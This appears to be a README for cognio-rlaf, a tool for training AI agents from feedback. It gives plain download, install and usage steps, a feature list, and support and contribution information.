🤖 cognio-rlaf - Train AI Simply with Feedback

🚀 Getting Started

Welcome to cognio-rlaf! This tool helps you train AI agents using a framework that learns from feedback. You don’t need programming knowledge to use this. Follow these simple steps to get started.

📥 Download & Install

To download the software, visit this page: Download Releases. You will find the latest version there.

1. Click the link above.
2. Look for the latest release.
3. Choose the file that matches your operating system (Windows, macOS, or Linux).
4. Click the download link next to your chosen file. It will start downloading.

💻 System Requirements

To ensure the best experience, check the following system requirements:

• Operating System: Windows 10 or later, macOS 10.15 or later, or a modern Linux distribution.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum 500 MB available.
• Python: Version 3.7 or later (if you plan to run any scripts).

🔧 How to Run the Application

Once you have downloaded the file, follow these steps:

1. Locate the downloaded file in your Downloads folder.
2. Double-click the file to start the installation process.
3. Follow the on-screen instructions to complete the installation.
4. After installation, find the application in your programs list and open it.

⚙️ Using the Framework

Step 1: Set Up Your Environment

After installation, you might want to configure your environment for optimal performance.

• Use the default settings for most users.
• If you have custom settings, adjust them as needed.

Step 2: Load Feedback Data

To train your AI agent, you need to input data. Here’s how:

1. On the main screen, click on 'Load Data'.
2. Select the folder where your feedback data is saved.
3. Click 'Open' to load the data into the application.

Step 3: Train Your AI Agent

After your data is loaded, you can start the training process:

1. Click the 'Train' button.
2. Monitor the progress in the application to see how the training is advancing.

Step 4: Evaluate Performance

Once training is complete, it's essential to evaluate your AI agent's performance:

1. Click the 'Evaluate' button to run tests.
2. Review the results displayed. They will help you understand how well your agent is performing.

📊 Features

The cognio-rlaf framework offers several features to enhance your AI training experience:

• Multi-Perspective Critic Ensembles: Use feedback from various perspectives to improve learning.
• User-Friendly Interface: Designed for easy navigation, making it accessible for anyone.
• Open-Source: The code is available for anyone to explore and contribute.

🔍 Support and Resources

If you encounter any issues, check the following resources:

• Documentation: Detailed guides and FAQs can be found in the documentation section of the repository.
• Community Forum: Join discussions and ask questions in the community forum linked in the repository.
• Contact Support: For direct assistance, you can reach out to the support team via GitHub Issues.

🌐 Contributing

If you want to contribute to the project, we welcome your input! You can:

1. Fork the repository and create your feature branch.
2. Commit your changes and push to your own fork.
3. Open a pull request to the main project.

Your contributions will help improve the framework for everyone.

🔗 Additional Links

• GitHub Repository
• Download Releases

Thank you for using cognio-rlaf. Enjoy training your AI agents!